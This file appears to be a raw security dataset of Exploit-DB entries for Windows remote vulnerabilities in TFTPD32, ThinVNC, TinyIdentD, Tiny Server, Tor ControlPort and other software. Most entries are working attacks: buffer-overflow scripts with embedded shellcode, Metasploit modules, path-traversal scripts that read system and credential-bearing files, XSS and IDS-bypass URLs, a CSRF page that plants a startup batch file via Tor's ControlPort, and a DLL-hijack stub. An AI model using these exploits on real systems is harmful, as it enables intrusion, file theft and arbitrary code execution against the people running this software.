deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22025
Description: TFTPD32 2.50 - 'Filename' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2002-11-19
Author: Aviram Jenik

Exploit:
source: https://www.securityfocus.com/bid/6199/info

A buffer-overflow vulnerability has been reported for Tftpd32. The vulnerability is due to insufficient checks on user-supplied input. 

A remote attacker can exploit this vulnerability by supplying a long string as a name of the file to retrieve. This will trigger the buffer-overflow condition. Any malicious attacker-supplied code will be executed with the privileges of the Tftpd32 process.

#!/usr/bin/perl
#TFTP Server remote Buffer Overflow
use IO::Socket;
$host = "192.168.1.53";
$port = "69";
$data = "A";

#$buf .= "\x00\x02"; # Send ---- Choose one
$buf .= "\x00\x01"; # Recieve

$buf .= "A";
$num = "116";
$buf .= $data x $num;
$buf .= ".";
$num = "140"; # EIP section
$buf .= $data x $num;

$address = "\xFF\xFF\xFF\xFF";
$buf .= $address;

$egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";

$egg .= "\x90\x90\x90\x90\x90\x90";
$buf .= $egg;

$buf .= "\x00binary\x00";

$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
$@\n";
$ipaddr = inet_aton($host) || $host;
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send:
$!\n";
print "Now, '$host' should open up a notepad\n";
Exploit-DB #22024
Description: TFTPD32 2.50 - Arbitrary File Download/Upload
Type: remote
Platform: windows
Date: 2002-11-18
Author: Aviram Jenik

Exploit:
source: https://www.securityfocus.com/bid/6198/info

A vulnerability has been discovered in Tftpd32 which allows a remote attacker to download and upload arbitrary system files. The ability to upload system files may allow an attacker to replaced key system files with trojaned copies, used to open backdoors into a target system. 

tftp host GET /boot.ini
tftp host PUT myfile /boot.ini
Exploit-DB #16349
Description: TFTPD32 < 2.21 - 'Filename' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: tftpd32_long_filename.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'TFTPD32 <= 2.21 Long Filename Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in TFTPD32 version 2.21
				and prior. By sending a request for an overly long file name
				to the tftpd32 server, a remote attacker could overflow a buffer and
				execute arbitrary code on the system.
			},
			'Author'         => 'MC',
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2002-2226'],
					['OSVDB', '45903'],
					['BID', '6199'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 250,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows NT 4.0 SP6a English',    { 'Ret' => 0x77f9d463} ],
					['Windows 2000 Pro SP4 English',   { 'Ret' => 0x7c2ec663} ],
					['Windows XP Pro SP0 English',     { 'Ret' => 0x77dc0df0} ],
					['Windows XP Pro SP1 English',     { 'Ret' => 0x77dc5527} ],
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Nov 19 2002'
			))

		register_options(
			[
				Opt::RPORT(69)
			], self)
	end

	def exploit
		connect_udp

		print_status("Trying target #{target.name}...")

		sploit =
			"\x00\x01" +
			rand_text_english(120, payload_badchars) +
			"." +
			rand_text_english(135, payload_badchars) +
			[target.ret].pack('V') +
			payload.encoded +
			"\x00"

		udp_sock.put(sploit)

		disconnect_udp
	end

end
Exploit-DB #47519
Description: ThinVNC 1.0b1 - Authentication Bypass
Type: remote
Platform: windows
Date: 2019-10-17
Author: Nikhith Tumamlapalli

Exploit:
# Exploit Title: ThinVNC 1.0b1 - Authentication Bypass
# Date: 2019-10-17
# Exploit Author: Nikhith Tumamlapalli
# Contributor WarMarX
# Vendor Homepage: https://sourceforge.net/projects/thinvnc/
# Software Link: https://sourceforge.net/projects/thinvnc/files/ThinVNC_1.0b1/ThinVNC_1.0b1.zip/download
# Version: 1.0b1
# Tested on: Windows All Platforms
# CVE : CVE-2019-17662

# Description:
# Authentication Bypass via Arbitrary File Read

#!/usr/bin/python3

import sys
import os
import requests

def exploit(host,port):
    url = "http://" + host +":"+port+"/xyz/../../ThinVnc.ini"
    r = requests.get(url)
    body = r.text
    print(body.splitlines()[2])
    print(body.splitlines()[3])



def main():
    if(len(sys.argv)!=3):
        print("Usage:\n{} <host> <port>\n".format(sys.argv[0]))
        print("Example:\n{} 192.168.0.10 5888")
    else:
        port = sys.argv[2]
        host = sys.argv[1]
        exploit(host,port)

if __name__ == '__main__':
    main()
Exploit-DB #18610
Description: Tiny Server 1.1.5 - Arbitrary File Disclosure
Type: remote
Platform: windows
Date: 2012-03-16
Author: KaHPeSeSe

Exploit:
#!/usr/bin/perl -w
#Title  : Tiny Server v1.1.5 Arbitrary File Disclosure Exploit
#Author : KaHPeSeSe
#Test   : PERFECT XP PC1 / SP3
#Date   : 15/03/2012
#Thanks : exploit-db.com

use LWP::Simple;
use LWP::UserAgent;

	system('color','A');
	system('cls');
	
			print "\n\t____________________________________________________________________\n";
			print "\n\t....... Tiny Server v1.1.5 Arbitrary File Disclosure Exploit .......\n";
			print "\n\t....... Founded and Exploited by KaHPeSeSe                   .......\n";
			print "\n\t____________________________________________________________________\n\n";

	if(@ARGV < 3)
		{
			print "[-] Error!\n";
			print "[-] Look to example\n\n";
			&help; exit();
											}
	sub help()
		{
			print "[+] How  to : perl $0 IP Port File\n";
			print "[+] Example : perl $0 192.168.1.2 80 windows/system.ini\n";
											}
			($TargetIP, $Port, $File) = @ARGV;
			print("Connet to Server.... \n");
			sleep(2);
			$path="/../../";
			my $link = "http://" . $TargetIP . ":" . $Port . $path . $File;
			print("Connected\n");
			sleep(2);
			print("Waiting for moment\n");
			sleep(1);
			print("Done! Reading $File...\n");
			sleep(3);
			$ourfile=get $link;
	if($ourfile)
		{
			print("\n\n____________________________________________________\n\n");
			print("$ourfile \n\n");
			print("_____________________________________________________\n\n");
											}
	else
	{
			print("_____________________________________________________\n\n");
			print(" Not Found !!!\n\n");
			print("_____________________________________________________\n\n");
			exit;
											}
Exploit-DB #3925
Description: TinyIdentD 2.2 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-05-14
Author: Thomas Pollet

Exploit:
#
#tinyidentd exploit code by
#thomas . pollet _at_ gmail . com
#bug by Maarten Boone
#
#usage: python exploit.py [target]
#
import socket,sys
#jmp into nop sled
payload  = '\xeb\x20'  
#ident crap
payload += ', 28 : USERID : UNIX : '
#nop sled
payload +='XXXX'
# jmp *%esi
payload += '\x77\x13\x83\x7c'  #XP kernel32.dll
#payload += '\xb1\x63\xd9\x77' #W2K rpcrt4.dll
#metasploit alphanumeric shellcode calc.exe
shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x44"
shellcode += "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x54\x42\x32\x41\x42\x32\x42"
shellcode += "\x41\x30\x42\x41\x58\x41\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x4b"
shellcode += "\x58\x51\x54\x65\x50\x57\x70\x45\x50\x4e\x6b\x67\x35\x35\x6c\x4e"
shellcode += "\x6b\x73\x4c\x55\x55\x71\x68\x67\x71\x68\x6f\x6c\x4b\x52\x6f\x46"
shellcode += "\x78\x4e\x6b\x51\x4f\x71\x30\x74\x41\x7a\x4b\x30\x49\x6c\x4b\x54"
shellcode += "\x74\x6e\x6b\x76\x61\x4a\x4e\x35\x61\x4b\x70\x6a\x39\x4c\x6c\x4d"
shellcode += "\x54\x6b\x70\x30\x74\x54\x47\x6a\x61\x6a\x6a\x64\x4d\x63\x31\x79"
shellcode += "\x52\x4a\x4b\x69\x64\x67\x4b\x32\x74\x65\x74\x66\x64\x31\x65\x4a"
shellcode += "\x45\x6c\x4b\x71\x4f\x31\x34\x57\x71\x48\x6b\x52\x46\x6e\x6b\x64"
shellcode += "\x4c\x52\x6b\x4e\x6b\x31\x4f\x77\x6c\x54\x41\x68\x6b\x4c\x4b\x57"
shellcode += "\x6c\x6c\x4b\x57\x71\x4a\x4b\x4e\x69\x41\x4c\x65\x74\x67\x74\x4a"
shellcode += "\x63\x75\x61\x4f\x30\x51\x74\x6c\x4b\x61\x50\x50\x30\x4f\x75\x4f"
shellcode += "\x30\x32\x58\x64\x4c\x4c\x4b\x71\x50\x54\x4c\x4c\x4b\x70\x70\x57"
shellcode += "\x6c\x4e\x4d\x6e\x6b\x73\x58\x35\x58\x4a\x4b\x36\x69\x6c\x4b\x4d"
shellcode += "\x50\x4c\x70\x67\x70\x75\x50\x37\x70\x4c\x4b\x45\x38\x35\x6c\x41"
shellcode += "\x4f\x57\x41\x68\x76\x53\x50\x30\x56\x6e\x69\x6b\x48\x6f\x73\x6f"
shellcode += "\x30\x63\x4b\x62\x70\x30\x68\x58\x70\x6f\x7a\x57\x74\x51\x4f\x45"
shellcode += "\x38\x6f\x68\x59\x6e\x4f\x7a\x66\x6e\x62\x77\x69\x6f\x38\x67\x73"
shellcode += "\x53\x52\x41\x30\x6c\x71\x73\x64\x6e\x35\x35\x30\x78\x70\x65\x45"
shellcode += "\x50\x44"

nopsize=523-len(payload)-len(shellcode)
nopsled=''
for i in range(nopsize):
    nopsled+='\x90'

payload=payload.replace('XXXX',nopsled+shellcode)

try:
    target=sys.argv[1]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target,113))
    s.send(payload+'\n')
    s.close()
    print 'done'
except:
    print 'usage : %s [target]'%sys.argv[0]

# milw0rm.com [2007-05-14]
Exploit-DB #16444
Description: TinyIdentD 2.2 - Remote Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: tiny_identd_overflow.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'TinyIdentD 2.2 Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack based buffer overflow in TinyIdentD version 2.2.
				If we send a long string to the ident service we can overwrite the return
				address and execute arbitrary code. Credit to Maarten Boone.
			},
			'Author'         => 'Jacopo Cervini <acaro[at]jervus.it>',
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2007-2711'],
					['OSVDB', '36053'],
					['BID', '23981'],
				],
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x0d\x20\x0a"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 Server SP4 English',   { 'Ret' => 0x7c2d15e7, } ], # call esi
					['Windows XP SP2 Italian',            { 'Ret' => 0x77f46eda, } ], # call esi

				],
			'Privileged'     => false,
			'DisclosureDate' => 'May 14 2007'
			))

		register_options([ Opt::RPORT(113) ], self.class)
	end

	def exploit
		connect

		pattern  = "\xeb\x20"+", 28 : USERID : UNIX :";
		pattern << make_nops(0x1eb - payload.encoded.length)
		pattern << payload.encoded
		pattern << [ target.ret ].pack('V')


		request  = pattern + "\n"

		print_status("Trying #{target.name} using address at #{"0x%.8x" % target.ret }...")

		sock.put(request)


		handler
		disconnect
	end

end
Exploit-DB #23596
Description: TinyServer 1.1 - Cross-Site Scripting
Type: remote
Platform: windows
Date: 2004-01-24
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/9485/info
  
TinyServer is prone to multiple vulnerabilities.
  
A directory traversal issue is present in TinyServer that could allow a remote user to view or download any file to which the server has access.
  
A denial of service issue exists due to the failure of the server to check input strings received. Attackers can crash the server by simply sending malformed HTTP GET requests. Sending an HTTP GET request with excessively long data can also cause the server to fail. It is not known if this issue may also result in code execution.
  
A cross-site scripting issue is also present in the server. This could allow for theft of cookie-based authentication credentials or other attacks. 

http://[host]/<script>alert("Test")</script>
Exploit-DB #23594
Description: tinyserver 1.1 - Directory Traversal
Type: remote
Platform: windows
Date: 2004-01-24
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/9485/info

TinyServer is prone to multiple vulnerabilities.

A directory traversal issue is present in TinyServer that could allow a remote user to view or download any file to which the server has access.

A denial of service issue exists due to the failure of the server to check input strings received. Attackers can crash the server by simply sending malformed HTTP GET requests. Sending an HTTP GET request with excessively long data can also cause the server to fail. It is not known if this issue may also result in code execution.

A cross-site scripting issue is also present in the server. This could allow for theft of cookie-based authentication credentials or other attacks. 

http://[host]/../../windows/system.ini
Exploit-DB #30287
Description: TippingPoint IPS - Unicode Character Detection Bypass
Type: remote
Platform: windows
Date: 2007-07-10
Author: Security-Assessment.com

Exploit:
source: https://www.securityfocus.com/bid/24855/info

TippingPoint IPS is prone to a detection-bypass vulnerability because the appliance fails to properly handle Unicode characters.

A successful exploit of this issue may allow an attacker to bypass the filter and detection system of vulnerable appliances, allowing malicious URI traffic through. This will likely aid the attacker in further attacks.

http://www.example.com/scripts%c0%afcmd.exe
http://www.example.com/scripts%e0%80%afcmd.exe
http://www.example.com/scripts%c1%9ccmd.exe
Exploit-DB #51268
Description: TitanFTP 2.0.1.2102 - Path traversal to Remote Code Execution (RCE)
Type: remote
Platform: windows
Date: 2023-04-06
Author: Andreas Finstad

Exploit:
# Exploit Title: TitanFTP 2.0.1.2102 - Path traversal to Remote Code Execution (RCE)

# Date: 02.14.2023
# Exploit Author: Andreas Finstad
# Vendor Homepage: https://titanftp.com/

# Version: < 2.0.1.2102

# Tested on: Windows 2022 Server
# CVE : CVE-2023-22629


Exploit and description here:
https://f20.be/blog/titanftp

Kind regards
Andreas Finstad
Exploit-DB #7442
Description: TmaxSoft JEUS - Alternate Data Streams File Disclosure
Type: remote
Platform: windows
Date: 2008-12-12
Author: Simon Ryeo

Exploit:
Title: TmaxSoft JEUS Alternate Data Streams Vulnerability
Author: Simon Ryeo(bar4mi (at) gmail)
Severity: High
Impact: Remote File Disclosure
Vulnerable Version: < JEUS 5: Fix#26 on NTFS
References:
 - http://www.microsoft.com/technet/security/bulletin/ms98-003.mspx
 - http://www.tmaxsoft.com
 - http://www.tmax.co.kr/tmaxsoft/index.screen
History:
 - 10.22.2008: Initiate notify
 - 10.23.2008: The vendor responded
 - 11.21.2008: The vendor replied detail information.
 - 12.12.2008: The vendor finished the preparation for patches and
responses.

Description:
On NTFS TmaxSoft JEUS, which is an famous web application server, contained
a vulnerability that allows an attacker to obtain web application source
files. This was caused by ADSs(Alternate Data Streams; ::$DATA).
JEUS couldn't handle ::$DATA. So it treated test.jsp::$DATA as an normal
file when it requested.
This is similar to the past MS Windows IIS vulnerability(Bid 0149).

Exploit:
The attacker can obtain them easily using an URL request.
http://www.target.com/foo/bar.jsp::$DATA

Solution:
The vendor released solutions for this problem.
Method 1) Upgrade JEUS
 - JEUS 5:
http://technet.tmax.co.kr/kr/download/platformList.do?groupCode=WAS&product
Code=Jeus&versionCode=5.0.0.26.P&fc=down&sc=down_product&mid=binary
 - JEUS 4:
    a. Use to change WebtoB function
    b. Upgrade JEUS to version 6 (the service for version 4 will be out of
service after Dec 2009)
Method 2) Use to change WebtoB fuction
 - Change the message communication method from 'URI' to 'EXT'
   (This is valid whether you use the embed WebtoB to JEUS or the single
WebtoB)
Method 3) Install the patch (ex. jext.jar)
 - The patch file will be valid until Jan. 2009
   (Target version: 3.3.7.15, 4.0, 4.1, 4.2 final, 5.x(each verison will be
offered below Fix#26)

Please refer to TmaxSoft Homepage for detail support palns. It will be
valid until Mar. 2009.
(http://www.tmaxsoft.com)

# milw0rm.com [2008-12-12]
Exploit-DB #30447
Description: Tor 0.1.2.15 - ControlPort Missing Authentication Unauthorized Access
Type: remote
Platform: windows
Date: 2007-08-02
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/25188/info

Tor is prone to an unauthorized-access vulnerability due to a design error when handling multiple connections to the ControlPort.

An attacker can exploit this issue to reconfigure Tor and significantly weaken the anonymity provided by the software.

Tor 0.1.2.15 is confirmed vulnerable; previous versions may also be affected. 

<!-- 

Tor < 0.1.2.16 with ControlPort enabled ( not default )
Exploit for Tor ControlPort "torrc" Rewrite Vulnerability 
http://secunia.com/advisories/26301

Rewrites the torrc to log to a different location: C:\Documents and 
Settings\All Users\Start Menu\Programs\Startup\t.bat
Also enables debug logging, and an erroneous ExitPolicy looking 
something like this: reject*:1337\&#039;&&#039; calc.exe  this will output:
[debug] parse_addr_policy(): Adding new entry &#039;reject*:1337&#039;& calc.exe 
to the debug log -> t.bat which will run calc.exe on next boot.

This is not very silent though, t.bat will contain something like 45 
rows of crap which the user will see in about 1 sec, drop me a mail if 
you have a better way.

Either have a TOR user visit this HTML or inject it into her traffic 
when you&#039;re a TOR exit.
If you inject, just replace </HEAD> with everything in <HEAD> + </HEAD> 
( that&#039;s why I tried to fit everything inside <HEAD />), and fix 
Content-Length

// elgCrew _AT_ safe-mail.net
-->

<html>
<head>
<script language="javascript">

window.onload = function()
{

	cmd = &#039;cls & echo off & ping -l 1329 my.tcpdump.co -n 1 -w 1 > 
NUL & del t.bat > NUL & exit&#039;;
	inject = &#039;\r\nAUTHENTICATE\r\nSETCONF Log=\"debug-debug file 
C:\\\\Documents and Settings\\\\All Users\\\\Start 
Menu\\\\Programs\\\\Startup\\\\t.bat\"\r\nSAVECONF\r\nSIGNAL 
RELOAD\r\nSETCONF ExitPolicy=\"reject*:1337\\\&#039;&&#039; + cmd + 
&#039;&\"\r\nSETCONF Log=\"info file c:\\\\tor.txt\"\r\nSAVECONF\r\nSIGNAL 
RELOAD\r\n&#039;;
	
	form51.area51.value = inject;
	document.form51.submit();
}
</script>

<form target="hiddenframe" name="form51" 
action="http://localhost.mil.se:9051" method=POST 
enctype="multipart/form-data">
<input type=hidden name=area51>
</form>
<iframe width=0 height=0 frameborder=0 name="hiddenframe"></iframe>
</head>

<body>
<pre>
  ----
 | y0! |
  ----
          \  \_\_    _/_/
           \     (oo)\_______
                 |_|\        )*
                     ||----w |
                     ||     ||
</pre>
</body>
</html>
Exploit-DB #4468
Description: Tor < 0.1.2.16 - ControlPort Remote Rewrite
Type: remote
Platform: windows
Date: 2007-09-29
Author: elgCrew

Exploit:
<!-- 

Tor < 0.1.2.16 with ControlPort enabled ( not default )
Exploit for Tor ControlPort "torrc" Rewrite Vulnerability http://secunia.com/advisories/26301

Rewrites the torrc to log to a different location: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\t.bat
Also enables debug logging, and an erroneous ExitPolicy looking something like this: reject*:1337\'&' calc.exe  this will output:
[debug] parse_addr_policy(): Adding new entry 'reject*:1337'& calc.exe to the debug log -> t.bat which will run calc.exe on next boot.

This is not very silent though, t.bat will contain something like 45 rows of crap which the user will see in about 1 sec, drop me a mail if you have a better way.

Either have a TOR user visit this HTML or inject it into her traffic when you're a TOR exit.
If you inject, just replace </HEAD> with everything in <HEAD> + </HEAD> ( that's why I tried to fit everything inside <HEAD />), and fix Content-Length

// elgCrew _AT_ safe-mail.net
-->

<html>
<head>
<script language="javascript">

window.onload = function()
{

	cmd = 'cls & echo off & ping -l 1329 my.tcpdump.co -n 1 -w 1 > NUL & del t.bat > NUL & exit';
	inject = '\r\nAUTHENTICATE\r\nSETCONF Log=\"debug-debug file C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\t.bat\"\r\nSAVECONF\r\nSIGNAL RELOAD\r\nSETCONF ExitPolicy=\"reject*:1337\\\'&' + cmd + '&\"\r\nSETCONF Log=\"info file c:\\\\tor.txt\"\r\nSAVECONF\r\nSIGNAL RELOAD\r\n';
	
	form51.area51.value = inject;
	document.form51.submit();
}
</script>

<form target="hiddenframe" name="form51" action="http://localhost.mil.se:9051" method=POST enctype="multipart/form-data">
<input type=hidden name=area51>
</form>
<iframe width=0 height=0 frameborder=0 name="hiddenframe"></iframe>
</head>

<body>
<pre>
  ----
 | y0! |
  ----
          \  \_\_    _/_/
           \     (oo)\_______
                 |_|\        )*
                     ||----w |
                     ||     ||
</pre>
</body>
</html>

# milw0rm.com [2007-09-29]
Exploit-DB #34838
Description: Torrent DVD Creator - 'quserex.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2010-10-13
Author: anT!-Tr0J4n

Exploit:
// source: https://www.securityfocus.com/bid/44054/info

Torrent DVD Creator is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. 

/*
#Torrent DVD Creator DLL Hijacking Exploit (quserex.dll)

#Author    :   anT!-Tr0J4n

#Greetz    :   Dev-PoinT.com ~ inj3ct0r.com  ~ All Dev-poinT members and my friends

#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

#Software :   http://www.torrentrockyou.com

#Tested on:   Windows. XP sp3

#Home     :   www.Dev-PoinT.com


==========================
How  TO use : Compile and rename to  quserex.dll , create a file in the same dir with one of the following extensions.

 check the result > Hack3d    
         
==========================

# quserex.dll(code)
*/
 
#include "stdafx.h"
 
void init() {
MessageBox(NULL,"anT!-Tr0J4n", "Hack3d",0x00000003);
}
 
 
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}